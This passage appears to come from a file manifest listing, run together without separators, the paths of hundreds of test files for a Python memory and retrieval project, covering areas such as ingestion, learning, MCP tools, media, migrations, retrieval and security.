ytests/test_infra/test_process_identity.pytests/test_infra/test_restore_replays_targeted_erasures.pytests/test_infra/test_version_integrity.pytests/test_infra/test_version_integrity_surfaces.pytests/test_infra/test_w3_state_identity.pytests/test_ingestion/test_base_adapter_identity.pytests/test_ingestion/test_calendar_adapter.pytests/test_ingestion/test_gmail_adapter.pytests/test_ingestion/test_ingestion_data_root_contract.pytests/test_injection.pytests/test_integration/__init__.pytests/test_integration/_process_tree.pytests/test_integration/conftest.pytests/test_integration/test_agent_speaker_attribution.pytests/test_integration/test_async_remember_e2e.pytests/test_integration/test_async_remember_materializer.pytests/test_integration/test_cross_platform_learning.pytests/test_integration/test_daemon_process_detection.pytests/test_integration/test_e2e.pytests/test_integration/test_e2e_v32.pytests/test_integration/test_e2e_v33.pytests/test_integration/test_edit_refusals_are_truthful.pytests/test_integration/test_embedding_switch_e2e.pytests/test_integration/test_encoding_wiring.pytests/test_integration/test_erasure_integrity_e2e.pytests/test_integration/test_gdpr_erasure_wins_e2e.pytests/test_integration/test_integrity_repair_e2e.pytests/test_integration/test_just_saved_memory_is_found_while_model_loads.pytests/test_integration/test_kind_on_resave_composed.pytests/test_integration/test_kind_recall_is_not_crowded_out.pytests/test_integration/test_mcp_declared_kind_transport.pytests/test_integration/test_mode_b_ollama.pytests/test_integration/test_mode_pipeline_contract.pytests/test_integration/test_mutation_routes_never_freeze_the_daemon.pytests/test_integration/test_overtaken_cases_e2e.pytests/test_integration/test_per_request_profile_e2e.pytests/test_integration/test_profile_erase_through_a_real_daemon.pytests/test_integration/test_project_recall_strict_and_crowded.pytests/test_integration/test_read_after_write_parity.pytests/test_integration/test_source_fidelity_e2e.pytests/test_integration/test_tag_recall_is_not_crowded_out.pytests/test_integration/test_trust_compliance_wiring.pytests/test_integration/test_upgrade_classifies_once.pytests/test_integration/test_upgrade_v3_4_25_to_v3_4_26.pytests/test_integration/test_write_retry_after_restart.pytests/test_integrations/test_bounded_loops_mcp_bridge.pytests/test_integrations/test_bounded_loops_v051.pytests/test_integrations/test_platform_safety.pytests/test_isolation_cycle3.pytests/test_isolation_guard.pytests/test_isolation_guard_spawned_child.pytests/test_issue91_lifecycle_ui.pytests/test_learning/__init__.pytests/test_learning/_signal_fixtures.pytests/test_learning/conftest.pytests/test_learning/test_a_dry_run_writes_nothing.pytests/test_learning/test_a_memory_that_helped_ranks_higher.pytests/test_learning/test_a_recall_leaves_a_ticket_an_outcome_can_find.pytests/test_learning/test_a_repeat_question_keeps_its_answer.pytests/test_learning/test_adaptive.pytests/test_learning/test_an_answer_can_be_reported_on_by_name.pytests/test_learning/test_an_exposure_is_not_feedback.pytests/test_learning/test_an_order_the_arm_did_not_choose_teaches_it_nothing.pytests/test_learning/test_an_outcome_with_no_signal_is_not_scored.pytests/test_learning/test_arm_catalog.pytests/test_learning/test_bandit_core.pytests/test_learning/test_bandit_in_recall.pytests/test_learning/test_bandit_supplementary.pytests/test_learning/test_behavioral.pytests/test_learning/test_canonical_feedback_routing.pytests/test_learning/test_consolidation_online_retrain_wiring.pytests/test_learning/test_consolidation_quantization_worker.pytests/test_learning/test_dashboard_feedback.pytests/test_learning/test_engagement_is_observed_not_requested.pytests/test_learning/test_engagement_reward_model.pytests/test_learning/test_ensemble.pytests/test_learning/test_f4a_refactor.pytests/test_learning/test_fact_outcome_joins.pytests/test_learning/test_feature_extraction_wired.pytests/test_learning/test_forgetting_protections.pytests/test_learning/test_forgetting_scheduler.pytests/test_learning/test_hnsw_dedup.pytests/test_learning/test_issue106_canonical_signal_store.pytests/test_learning/test_junk_is_never_scored_to_keep.pytests/test_learning/test_labeler.pytests/test_learning/test_learning_db.pytests/test_learning/test_lifecycle_write_protection.pytests/test_learning/test_lightgbm_subprocess.pytests/test_learning/test_lightgbm_training.pytests/test_learning/test_marker_closes_the_loop.pytests/test_learning/test_memory_merge.pytests/test_learning/test_mining_is_idempotent_and_scoped.pytests/test_learning/test_one_outcome_writer.pytests/test_learning/test_one_question_draws_one_arm.pytests/test_learning/test_online_retrain.pytests/test_learning/test_outcome_queue_survives_write_load.pytests/test_learning/test_outcomes.pytests/test_learning/test_ranker_v2.pytests/test_learning/test_retention_sweep.pytests/test_learning/test_reward_gated_archive.pytests/test_learning/test_reward_proxy.pytests/test_learning/test_reward_strict_mode.pytests/test_learning/test_s9_dash_orphan_entity.pytests/test_learning/test_s9_dash_outcome_queue.pytests/test_learning/test_s9_w1_lld10_wiring.pytests/test_learning/test_s9_w6_skeptic.pytests/test_learning/test_shadow_test.pytests/test_learning/test_signal_worker.pytests/test_learning/test_signals_pipeline.pytests/test_learning/test_source_quality_reward_wiring.pytests/test_learning/test_stage8_reward_archive_payload_cap.pytests/test_learning/test_stage8_reward_signal_typecheck.pytests/test_learning/test_stage8_trigram_rebuild_bound.pytests/test_learning/test_the_bandit_learns_from_a_real_outcome.pytests/test_learning/test_the_learning_loop_closes.pytests/test_learning/test_the_miner_needs_events_to_mine.pytests/test_learning/test_the_play_records_what_was_actually_shown.pytests/test_learning/test_the_reward_loop_has_a_key_to_join_on.pytests/test_learning/test_the_stack_is_not_read_out_of_ordinary_english.pytests/test_learning/test_trigram_index.pytests/test_learning_advanced.pytests/test_learning_collectors.pytests/test_llm_provider.pytests/test_m031_startup_automigration.pytests/test_math/__init__.pytests/test_math/test_a_rotation_matrix_never_corrupts_memory.pytests/test_math/test_ebbinghaus.pytests/test_math/test_fisher.pytests/test_math/test_fisher_quantized.pytests/test_math/test_hopfield.pytests/test_math/test_langevin.pytests/test_math/test_no_native_lapack_in_source.pytests/test_math/test_polar_quant.pytests/test_math/test_qjl.pytests/test_math/test_sheaf.pytests/test_math/test_the_hot_path_makes_no_lapack_factorization.pytests/test_math/test_turbo_quant.pytests/test_math/test_wp12a_contradiction.pytests/test_math/test_wp12a_regressions.pytests/test_math/test_wp12b_qjl_magnitude.pytests/test_mcp/__init__.pytests/test_mcp/conftest.pytests/test_mcp/test_a_memory_knows_when_and_where_it_came_from.pytests/test_mcp/test_admission_mcp_decorator.pytests/test_mcp/test_agent_context.pytests/test_mcp/test_brain_truth_adapter.pytests/test_mcp/test_chatgpt_file_param.pytests/test_mcp/test_compression_ownership.pytests/test_mcp/test_context_loads_skip_the_answer_check.pytests/test_mcp/test_core_control_mutation_policy.pytests/test_mcp/test_daemon_proxy_404.pytests/test_mcp/test_default_root_presence.pytests/test_mcp/test_degraded_recall_finds_versions.pytests/test_mcp/test_degraded_recall_obeys_the_same_rules.pytests/test_mcp/test_embedded_mcp_uses_the_daemon_engine.pytests/test_mcp/test_emergency_fidelity.pytests/test_mcp/test_erasure_visibility.pytests/test_mcp/test_every_tool_has_title_and_hints.pytests/test_mcp/test_expand_and_search_tiers.pytests/test_mcp/test_fetch_cannot_report_a_miss_as_an_empty_store.pytests/test_mcp/test_http_transport.pytests/test_mcp/test_kind_display_matches_the_configured_filter.pytests/test_mcp/test_legacy_mutation_policy.pytests/test_mcp/test_legacy_process_presence.pytests/test_mcp/test_live_media_tools.pytests/test_mcp/test_live_process_registry.pytests/test_mcp/test_mcp_brain_tools.pytests/test_mcp/test_mcp_daemon_proxy.pytests/test_mcp/test_mcp_exposure_contract.pytests/test_mcp/test_mcp_light_engine.pytests/test_mcp/test_mcp_pool_adapter.pytests/test_mcp/test_mcp_recall_tool.pytests/test_mcp/test_mcp_remember_tool.pytests/test_mcp/test_mcp_session_init_tool.pytests/test_mcp/test_mcp_tool_annotations.pytests/test_mcp/test_mcp_tools_registration.pytests/test_mcp/test_mcp_v33_tools.pytests/test_mcp/test_media_upload_link_tool.pytests/test_mcp/test_mesh_session_start.pytests/test_mcp/test_mesh_tools_contract.pytests/test_mcp/test_mode_label_tells_the_truth.pytests/test_mcp/test_observe_event_type.pytests/test_mcp/test_prestage_context_profile.pytests/test_mcp/test_prestage_context_tool.pytests/test_mcp/test_prestage_registered.pytests/test_mcp/test_project_recall_surfaces.pytests/test_mcp/test_q9_session_init_size_budget.pytests/test_mcp/test_recall_budget.pytests/test_mcp/test_recall_images.pytests/test_mcp/test_recall_limit_parity.pytests/test_mcp/test_recall_metadata_reaches_mcp.pytests/test_mcp/test_registry_containment.pytests/test_mcp/test_remember_replaces_tool.pytests/test_mcp/test_remote_by_id_writes_hide_media.pytests/test_mcp/test_remote_delete_hides_media.pytests/test_mcp/test_remote_media_tools.pytests/test_mcp/test_remote_more_reads_hide_media.pytests/test_mcp/test_remote_pins_hide_media.pytests/test_mcp/test_remote_tools_hide_media.pytests/test_mcp/test_retention_policy_effect.pytests/test_mcp/test_saved_tool_set.pytests/test_mcp/test_score_contract_surface_parity.pytests/test_mcp/test_session_binding.pytests/test_mcp/test_session_init_answer_check.pytests/test_mcp/test_session_init_fallback_remote.pytests/test_mcp/test_settle_session_outcomes.pytests/test_mcp/test_source_content_discipline.pytests/test_mcp/test_stateless_transport.pytests/test_mcp/test_stdin_guard.pytests/test_mcp/test_stdio_handshake.pytests/test_mcp/test_stdio_live_registry.pytests/test_mcp/test_stdio_process_budget.pytests/test_mcp/test_streamable_http_network_regression.pytests/test_mcp/test_sweep_findings_4_2_3.pytests/test_mcp/test_the_embedder_proxy_uses_its_own_daemon.pytests/test_mcp/test_tools_kinds_refusal.pytests/test_mcp/test_tools_media.pytests/test_mcp/test_tools_mesh_peer_seam.pytests/test_mcp/test_tools_optimize.pytests/test_mcp/test_tools_optimize_remote.pytests/test_mcp/test_wp6_match_confidence.pytests/test_mcp_server.pytests/test_media/__init__.pytests/test_media/_erase_support.pytests/test_media/_real_roles.pytests/test_media/test_backup_includes_media_db.pytests/test_media/test_backup_includes_originals.pytests/test_media/test_backup_scrub.pytests/test_media/test_backup_set_includes_originals.pytests/test_media/test_dashboard_upload_route.pytests/test_media/test_data_root_identity.pytests/test_media/test_data_root_refusal.pytests/test_media/test_erasure.pytests/test_media/test_fable_fb.pytests/test_media/test_files.pytests/test_media/test_gates_real_roles.pytests/test_media/test_gc.pytests/test_media/test_ingest.pytests/test_media/test_media_list_route.pytests/test_media/test_media_routes.pytests/test_media/test_media_routes_origin.pytests/test_media/test_media_store.pytests/test_media/test_media_store_no_extensions.pytests/test_media/test_per_profile_files.pytests/test_media/test_profile_delete_order.pytests/test_media/test_profile_delete_pending.pytests/test_media/test_profile_isolation_reads.pytests/test_media/test_repair.pytests/test_media/test_revet_remote.pytests/test_media/test_save_scope.pytests/test_media/test_shared_thumbnail.pytests/test_media/test_upload_finish_route.pytests/test_media/test_upload_links.pytests/test_media/test_wp12a_picture_identity.pytests/test_memory_core/__init__.pytests/test_memory_core/test_edit_and_reserved.pytests/test_memory_core/test_every_write_site_is_prepared.pytests/test_memory_core/test_nested_trusted_metadata.pytests/test_memory_core/test_prepare_helpers.pytests/test_memory_core/test_round_four.pytests/test_memory_core/test_save_path.pytests/test_memory_core/test_submit.pytests/test_memory_core/test_submit_settled.pytests/test_memory_core/test_write_paths_redact.pytests/test_mesh/__init__.pytests/test_mesh/conftest.pytests/test_mesh/test_broker_web.pytests/test_mesh/test_envelope.pytests/test_mesh/test_local_peer_identity.pytests/test_mesh/test_mesh_busy_is_retryable.pytests/test_mesh/test_mesh_lock_stress.pytests/test_mesh/test_mesh_routes.pytests/test_mesh/test_mesh_store.pytests/test_mesh/test_mesh_store_fsync.pytests/test_mesh/test_mesh_store_gdpr.pytests/test_mesh/test_mesh_store_hardening.pytests/test_mesh/test_remote_mesh_e2e.pytests/test_mesh/test_remote_mesh_tools.pytests/test_mesh/test_remote_peer_inprocess.pytests/test_mesh/test_remote_peer_routes.pytests/test_mesh/test_wait_inbox.pytests/test_mesh/test_web_inbox_delivery.pytests/test_mesh/test_web_inbox_limits.pytests/test_migration.pytests/test_migrations/__init__.pytests/test_migrations/_kind_store.pytests/test_migrations/_repair_store.pytests/test_migrations/test_a_breaking_change_raises_the_floor_immediately.pytests/test_migrations/test_a_fact_is_mostly_its_own_arithmetic.pytests/test_migrations/test_a_planned_event_is_prospective_not_temporal.pytests/test_migrations/test_backward_compat_405.pytests/test_migrations/test_every_migration_declares_its_downgrade.pytests/test_migrations/test_m048_reads_wording_outside_the_write_lock.pytests/test_migrations/test_m048_respects_confirmed_kinds.pytests/test_migrations/test_m051_clears_noise_derived_positions.pytests/test_migrations/test_m052_memory_kinds.pytests/test_migrations/test_m052_upgrade_path.pytests/test_migrations/test_m053_answer_check_history.pytests/test_migrations/test_m054_saved_views.pytests/test_migrations/test_m055_learning_attribution.pytests/test_migrations/test_m057_incremental.pytests/test_migrations/test_m057_roundtrip.pytests/test_migrations/test_m061_fact_hub_baseline.pytests/test_migrations/test_m062_hook_bookkeeping_is_flagged.pytests/test_migrations/test_m063_blank_temporal_dates_are_null.pytests/test_migrations/test_m064_orphan_index_rows_are_removed.pytests/test_migrations/test_m065_fabricated_dates_are_removed.pytests/test_migrations/test_m066_wrongly_archived_memories_are_restored.pytests/test_migrations/test_repair_coverage.pytests/test_migrations/test_repair_ddl.pytests/test_migrations/test_repair_rebuild_roundtrip.pytests/test_migrations/test_repair_reporter_drift.pytests/test_migrations/test_runner_survives_a_python_error.pytests/test_migrations/test_what_is_coming_up_holds_only_what_is_coming_up.pytests/test_mode_switch_preservation.pytests/test_modes/test_changing_the_embedding_model_cannot_wreck_a_store.pytests/test_modes/test_mode_a_never_fails.pytests/test_modes/test_mode_a_says_why_it_cannot_write_a_summary.pytests/test_modes/test_no_mode_puts_a_model_on_the_read_path.pytests/test_no_dead_modules.pytests/test_ollama_reachability.pytests/test_operation_policy_registry.pytests/test_optimize/__init__.pytests/test_optimize/test_centroid_rebuild.pytests/test_optimize/test_dynamic_embedding_dimension.pytests/test_optimize/test_pr253_embedding_spaces.pytests/test_optimize/test_proxy_typeerror_fallback.pytests/test_optimize/test_semantic_cache_embedder_follows_the_provider.pytests/test_optimize/test_tenant_count_caps.pytests/test_packaging/__init__.pytests/test_packaging/test_every_editor_can_see_the_plugin.pytests/test_packaging/test_no_plugin_hijacks_your_install.pytests/test_packaging/test_npm_ships_every_plugin_folder.pytests/test_packaging/test_shipped_mcp_configs_respect_host_tool_limits.pytests/test_packaging/test_what_we_ship_describes_what_we_built.pytests/test_parameterization/__init__.pytests/test_parameterization/test_a_soft_prompt_has_to_say_something.pytests/test_parameterization/test_pattern_extractor.pytests/test_parameterization/test_pii_filter.pytests/test_parameterization/test_prompt_injector.pytests/test_parameterization/test_prompt_lifecycle.pytests/test_parameterization/test_soft_prompt_generator.pytests/test_parameterization/test_soft_prompt_sqlite_roundtrip.pytests/test_parity/__init__.pytests/test_parity/test_kind_surface_parity.pytests/test_parity/test_wp19_stub_flag_parity.pytests/test_plugin/__init__.pytests/test_plugin/_mcp_expand.pytests/test_plugin/_plugin_sandbox.pytests/test_plugin/test_codex_plugin.pytests/test_plugin/test_copilot_plugin.pytests/test_plugin/test_cursor_plugin.pytests/test_plugin/test_ensure_venv_only_when_used.pytests/test_plugin/test_hermes_grant_missing.pytests/test_plugin/test_hermes_plugin.pytests/test_plugin/test_hermes_register_tool_signature.pytests/test_plugin/test_hermes_remote.pytests/test_plugin/test_hermes_replaces_requires_confirm.pytests/test_plugin/test_hermes_turn_capture.pytests/test_plugin/test_hook_commands_run_on_grok.pytests/test_plugin/test_hooks_find_the_same_slm.pytests/test_plugin/test_launcher_on_hookless_hosts.pytests/test_plugin/test_mcp_command_per_platform.pytests/test_plugin/test_muse_plugin.pytests/test_plugin/test_plugin_speed_and_cloud_claims.pytests/test_plugin/test_qwen_kimi_manifests.pytests/test_plugin/test_vscode_agent_plugin.pytests/test_plugin/test_wf_windows_crossplatform.pytests/test_plugin/test_windows_mcp_spawn_premise.pytests/test_plugin/test_windows_mcp_starts_installed_slm.pytests/test_plugin/test_wp06_ensure_venv.pytests/test_plugin/test_wp06_plugin_manifest.pytests/test_plugin_src/__init__.pytests/test_plugin_src/test_the_skills_name_things_that_exist.pytests/test_plugin_src/test_torch_cpu_pin_matches_pyproject.pytests/test_plugin_src/test_torch_cpu_resolve.pytests/test_plugin_src/test_wp05_agents_commands_lint.pytests/test_portable_helpers.pytests/test_postinstall/__init__.pytests/test_postinstall/test_interactive_installer.pytests/test_process_health/__init__.pytests/test_process_health/conftest.pytests/test_process_health/test_mcp_startup_reaper.pytests/test_process_health/test_pid_manager.pytests/test_process_health/test_process_reaper.pytests/test_process_health/test_process_reaper_windows_stubs.pytests/test_quality/test_memory_quality_harness.pytests/test_quality/test_memory_quality_performance_gate.pytests/test_quality/test_native_host_lifecycle_certification.pytests/test_quality/test_portable_host_certification.pytests/test_ranker.pytests/test_reliability/__init__.pytests/test_reliability/test_a_guard_that_never_passed_is_reported.pytests/test_reliability/test_a_learner_that_never_learned_is_reported.pytests/test_remote_access_status.pytests/test_remote_connection_api.pytests/test_remote_connection_codec.pytests/test_remote_connection_companion.pytests/test_remote_connection_credentials.pytests/test_remote_connection_device_credentials.pytests/test_remote_connection_journal.pytests/test_remote_connection_modern_policy.pytests/test_remote_connection_origin.pytests/test_remote_connection_private_state.pytests/test_remote_connection_proof.pytests/test_remote_connection_recall_deadline.pytests/test_remote_connection_runtime.pytests/test_remote_connection_session.pytests/test_remote_connections/__init__.pytests/test_remote_connections/test_grant.pytests/test_remote_connections/test_grant_key_delivery.pytests/test_remote_connections/test_grant_keys.pytests/test_remote_connections/test_key_abilities.pytests/test_remote_connections/test_origin_grant.pytests/test_remote_connections/test_peer_sync.pytests/test_remote_connections/test_upload_relay.pytests/test_remote_credential_renewal.pytests/test_remote_gateway_provider.pytests/test_remote_native_enrollment_store.pytests/test_repo_hygiene.pytests/test_reported/__init__.pytests/test_reported/test_what_users_reported_against_4_0_10.pytests/test_resilience/__init__.pytests/test_resilience/runtime_factory.pytests/test_resilience/test_deadlock_hardening.pytests/test_resilience/test_ops_list_failed.pytests/test_resilience/test_ops_resolve.pytests/test_resilience/test_ops_resolve_takes_the_write_lock.pytests/test_resilience/test_resilience_hardening.pytests/test_resilience/test_writer_stall_watchdog.pytests/test_resource_lifecycle.pytests/test_retrieval/__init__.pytests/test_retrieval/_media_support.pytests/test_retrieval/conftest.pytests/test_retrieval/cross_scope_fixture.pytests/test_retrieval/test_a_date_range_includes_its_last_day.pytests/test_retrieval/test_a_dead_channel_does_not_look_like_an_empty_store.pytests/test_retrieval/test_a_loading_embedder_does_not_hold_recall.pytests/test_retrieval/test_a_new_link_reaches_a_cached_question.pytests/test_retrieval/test_a_new_memory_reaches_a_cached_question.pytests/test_retrieval/test_a_reloading_model_is_waited_for.pytests/test_retrieval/test_a_removed_link_stops_being_walked.pytests/test_retrieval/test_a_slow_channel_is_waited_for.pytests/test_retrieval/test_a_time_word_never_hides_the_memory_asked_for.pytests/test_retrieval/test_a_withdrawn_choice_stops_every_process.pytests/test_retrieval/test_activation_cache_is_written.pytests/test_retrieval/test_adjacency_profile_lru.pytests/test_retrieval/test_adjacency_slot_budget.pytests/test_retrieval/test_agentic.pytests/test_retrieval/test_an_unreadable_window_is_refused.pytests/test_retrieval/test_ann_index.pytests/test_retrieval/test_ann_index_lifecycle.pytests/test_retrieval/test_answer_question_forms.pytests/test_retrieval/test_answer_support_features.pytests/test_retrieval/test_answerability_gate.pytests/test_retrieval/test_bm25_archive_filter.pytests/test_retrieval/test_bm25_channel.pytests/test_retrieval/test_bm25_fts_does_not_duplicate_corpus.pytests/test_retrieval/test_bm25_late_materialization.pytests/test_retrieval/test_bm25_version_terms.pytests/test_retrieval/test_both_seed_paths_score_alike.pytests/test_retrieval/test_bridge_determinism.pytests/test_retrieval/test_channel_guard_budget.pytests/test_retrieval/test_community_context.pytests/test_retrieval/test_cross_scope_seeds.pytests/test_retrieval/test_embedding_lag_floor.pytests/test_retrieval/test_engine.pytests/test_retrieval/test_entity_channel.pytests/test_retrieval/test_entity_ranked_prefix.pytests/test_retrieval/test_erasure_visibility.pytests/test_retrieval/test_erasure_visibility_caches.pytests/test_retrieval/test_evidence_features.pytests/test_retrieval/test_evidence_floor.pytests/test_retrieval/test_evidence_floor_is_a_cosine.pytests/test_retrieval/test_executor_resource_lifecycle.pytests/test_retrieval/test_first_recall_does_not_wait_for_the_warmup_graph.pytests/test_retrieval/test_forgetting_filter.pytests/test_retrieval/test_fusion.pytests/test_retrieval/test_generic_secret_assignments.pytests/test_retrieval/test_graph_freshness_check_without_counting.pytests/test_retrieval/test_graph_watermark_seeks.pytests/test_retrieval/test_hopfield_channel.pytests/test_retrieval/test_hopfield_large_store_searches_run_concurrently.pytests/test_retrieval/test_hopfield_prefilter_size.pytests/test_retrieval/test_hosted_redaction_shapes.pytests/test_retrieval/test_hub_baseline.pytests/test_retrieval/test_hub_baseline_source_is_recorded.pytests/test_retrieval/test_jev_judge.pytests/test_retrieval/test_jev_kinds_request.pytests/test_retrieval/test_jev_rerank.pytests/test_retrieval/test_judge_recipe.pytests/test_retrieval/test_judge_threshold_measured_on_this_store.pytests/test_retrieval/test_kind_aware_recall.pytests/test_retrieval/test_kind_aware_wiring.pytests/test_retrieval/test_kind_filter.pytests/test_retrieval/test_kind_recall_searches_inside_the_kind.pytests/test_retrieval/test_lan_endpoint_security.pytests/test_retrieval/test_lance_projection_agrees_with_the_canonical_search.pytests/test_retrieval/test_laya_kinds_protocol.pytests/test_retrieval/test_laya_recall_priority.pytests/test_retrieval/test_laya_worker_stop_reaps.pytests/test_retrieval/test_meaning_search_without_the_vector_extension.pytests/test_retrieval/test_media_answer_check.pytests/test_retrieval/test_media_channel.pytests/test_retrieval/test_media_channel_erasure.pytests/test_retrieval/test_media_channel_space.pytests/test_retrieval/test_media_engine.pytests/test_retrieval/test_media_rerank.pytests/test_retrieval/test_media_scope_cache.pytests/test_retrieval/test_media_serializer.pytests/test_retrieval/test_numpy_tie_stability.pytests/test_retrieval/test_phase4_bitemporal_completion.pytests/test_retrieval/test_pipeline_order.pytests/test_retrieval/test_pr253_assertion_context.pytests/test_retrieval/test_pr253_query_backpressure.pytests/test_retrieval/test_pr253_real_questions.pytests/test_retrieval/test_pr253_source_assertions.pytests/test_retrieval/test_project_scope.pytests/test_retrieval/test_project_scope_learned_ranking.pytests/test_retrieval/test_project_scope_ranking.pytests/test_retrieval/test_q9_identity_old_vs_new_envelope.pytests/test_retrieval/test_quant_aware_search.pytests/test_retrieval/test_query_intent_reaches_temporal_channel.pytests/test_retrieval/test_query_rewrite.pytests/test_retrieval/test_query_status_when_daemon_is_down.pytests/test_retrieval/test_questions_use_the_query_prompt.pytests/test_retrieval/test_ranking_is_a_total_order.pytests/test_retrieval/test_recall_abstains_on_nonsense_with_the_real_model.pytests/test_retrieval/test_recall_channel_indexes.pytests/test_retrieval/test_recall_does_not_branch_on_the_clock.pytests/test_retrieval/test_recall_facets.pytests/test_retrieval/test_recall_latency_budget.pytests/test_retrieval/test_recall_never_writes_entities.pytests/test_retrieval/test_recall_wide_row_index.pytests/test_retrieval/test_recall_wiring_without_the_vector_extension.pytests/test_retrieval/test_recency_prior.pytests/test_retrieval/test_remaining_scope_contract.pytests/test_retrieval/test_remote_reranker.pytests/test_retrieval/test_remote_reranker_breaker.pytests/test_retrieval/test_remote_reranker_wiring.pytests/test_retrieval/test_remote_view.pytests/test_retrieval/test_rerank_pool.pytests/test_retrieval/test_reranker.pytests/test_retrieval/test_reranker_enabled_env_gate.pytests/test_retrieval/test_reranker_lead.pytests/test_retrieval/test_reranker_load_errors.pytests/test_retrieval/test_reranker_recycle.pytests/test_retrieval/test_reranker_warmup_backoff.pytests/test_retrieval/test_retrieval_integration.pytests/test_retrieval/test_review243_media_scope_wiring.pytests/test_retrieval/test_scope_no_serialization.pytests/test_retrieval/test_score_contract_v2.pytests/test_retrieval/test_semantic_channel.pytests/test_retrieval/test_semantic_channel_performance.pytests/test_retrieval/test_semantic_channel_with_vec.pytests/test_retrieval/test_semantic_zero_cosine_never_counts_as_evidence.pytests/test_retrieval/test_spreading_activation.pytests/test_retrieval/test_strategy.pytests/test_retrieval/test_strategy_present_tense.pytests/test_retrieval/test_sufficiency.pytests/test_retrieval/test_support_gate.pytests/test_retrieval/test_support_recipe_per_model.pytests/test_retrieval/test_support_tiers.pytests/test_retrieval/test_synthetic_profiler_safety.pytests/test_retrieval/test_tag_scope.pytests/test_retrieval/test_temporal_channel.pytests/test_retrieval/test_temporal_channel_bounded_and_fallback.pytests/test_retrieval/test_temporal_frame.pytests/test_retrieval/test_temporal_slice_cache.pytests/test_retrieval/test_temporal_validity_filter.pytests/test_retrieval/test_text_floor_per_model.pytests/test_retrieval/test_the_activation_cache_holds_one_copy.pytests/test_retrieval/test_the_first_recall_after_a_start_stays_inside_the_ceiling.pytests/test_retrieval/test_the_graph_follows_writes_without_a_rebuild.pytests/test_retrieval/test_the_graph_is_rebuilt_beside_recall.pytests/test_retrieval/test_the_graph_projection_answers_the_same_as_the_store.pytests/test_retrieval/test_the_hosted_check_keeps_its_deadline.pytests/test_retrieval/test_the_local_check_recovers_without_thrashing.pytests/test_retrieval/test_the_order_is_the_answer_not_the_score.pytests/test_retrieval/test_the_walk_is_the_same_answer_every_time.pytests/test_retrieval/test_time_window.pytests/test_retrieval/test_vector_index_decodes_outside_the_daemon.pytests/test_retrieval/test_vector_presence_reads_only_the_asked_facts.pytests/test_retrieval/test_vector_search_binds_the_profile.pytests/test_retrieval/test_vector_search_is_shared_by_channels.pytests/test_retrieval/test_vector_search_ranks_before_it_cuts.pytests/test_retrieval/test_vector_store.pytests/test_retrieval/test_visibility.pytests/test_retrieval/test_visibility_paths.pytests/test_retrieval/test_withheld_facts_never_reach_an_answer.pytests/test_retrieval/test_wordless_picture_evidence.pytests/test_retrieval/test_worker_stop_and_vector_decode_fallbacks.pytests/test_retrieval/test_wp12a_picture_scope_cost.pytests/test_retrieval/test_wp12a_snapshot.pytests/test_retrieval/test_wp12b_quantization_wiring.pytests/test_retrieval/test_wp6_calibration.pytests/test_retrieval/test_wp6_deadlines.pytests/test_retrieval/test_wp6_explicit_slots.pytests/test_retrieval/test_wp6_nomic_cache.pytests/test_retrieval/test_wp6_review_regressions.pytests/test_runtimes/__init__.pytests/test_runtimes/conftest.pytests/test_runtimes/test_engine_upgrade_request.pytests/test_runtimes/test_features.pytests/test_runtimes/test_features_requested.pytests/test_runtimes/test_image_ops.pytests/test_runtimes/test_managed_env.pytests/test_runtimes/test_managed_reindex_errors.pytests/test_runtimes/test_managed_text.pytests/test_runtimes/test_managed_text_long_memory.pytests/test_runtimes/test_measure_media_ram.pytests/test_runtimes/test_media_canary_and_ports.pytests/test_runtimes/test_media_locks.pytests/test_runtimes/test_media_models.pytests/test_runtimes/test_media_ram_gate.pytests/test_runtimes/test_multimodal_worker.pytests/test_runtimes/test_multimodal_worker_loader.pytests/test_runtimes/test_ocr_offline_models.pytests/test_runtimes/test_runtime_relocation.pytests/test_runtimes/test_space_plan.pytests/test_runtimes/test_text_embedder_stop_hook.pytests/test_runtimes/test_worker_client.pytests/test_runtimes/test_worker_memory_guard.pytests/test_runtimes/test_worker_passes.pytests/test_runtimes/test_worker_stderr.pytests/test_runtimes/test_wp12a_image_summary.pytests/test_runtimes/test_wp12b_multilingual_ocr.pytests/test_scripts/__init__.pytests/test_scripts/test_answer_quality_eval.pytests/test_scripts/test_answerability_conditions.pytests/test_scripts/test_answerability_embedder_option.pytests/test_scripts/test_answerability_fit.pytests/test_scripts/test_answerability_fixtures.pytests/test_scripts/test_answerability_questions.pytests/test_scripts/test_build_hermes_plugin_stamps_doc_version.jstests/test_scripts/test_demo_answer_check.pytests/test_scripts/test_dogfood_savings.pytests/test_security/__init__.pytests/test_security/_egress_scan.pytests/test_security/_routed_host.pytests/test_security/test_api_key_never_follows_redirect.pytests/test_security/test_bound_origin_integration.pytests/test_security/test_configured_proxy_host.pytests/test_security/test_forwarded_and_ingest_integration.pytests/test_security/test_forwarded_loopback_demotion.pytests/test_security/test_headers.pytests/test_security/test_host_listener_integration.pytests/test_security/test_injection_boundary_parity.pytests/test_security/test_injection_uses_hosted_redaction.pytests/test_security/test_ipv6_browser_listener.pytests/test_security/test_lan_websocket_compatibility.pytests/test_security/test_loopback_network_isolation.pytests/test_security/test_mcp_transport_auth.pytests/test_security/test_media_fetch.pytests/test_security/test_media_fetch_file_hosts.pytests/test_security/test_mesh_egress_redaction.pytests/test_security/test_mesh_read_permission.pytests/test_security/test_mesh_state_delta_route.pytests/test_security/test_nonlocal_read_gate.pytests/test_security/test_origin_guard_wiring.pytests/test_security/test_outbound_gate_guard.pytests/test_security/test_outbound_no_redirect.pytests/test_security/test_preference_redaction.pytests/test_security/test_proxy_boundary_integration.pytests/test_security/test_proxy_egress_integration.pytests/test_security/test_rate_limit_e2e.pytests/test_security/test_read_only_post_permission.pytests/test_security/test_refused_body_never_echoed.pytests/test_security/test_remote_access_gate.pytests/test_security/test_remote_media_tools.pytests/test_security/test_remote_mode_gaps.pytests/test_security/test_remote_outcome_id_integration.pytests/test_security/test_remote_profile_binding.pytests/test_security/test_remote_redaction.pytests/test_security/test_remote_redaction_upload_link.pytests/test_security/test_remote_routed_reads.pytests/test_security/test_remote_routed_writes.pytests/test_security/test_remote_tool_policy.pytests/test_security/test_summary_timeline_read_permission.pytests/test_security/test_websocket_boundary_integration.pytests/test_server/__init__.pytests/test_server/test_386_dashboard_read_boundary.pytests/test_server/test_a_busy_daemon_can_be_asked_what_it_is_doing.pytests/test_server/test_a_context_load_is_never_judged_through_any_door.pytests/test_server/test_a_dead_embedder_gets_revived.pytests/test_server/test_a_degraded_recall_says_it_was_not_checked.pytests/test_server/test_a_listed_memory_belongs_to_its_profile.pytests/test_server/test_a_mismatched_embedding_width_is_refused_on_save.pytests/test_server/test_a_page_on_another_domain_cannot_reach_slm.pytests/test_server/test_a_remote_recall_finishes_inside_the_relay_budget.pytests/test_server/test_abstraction_route.pytests/test_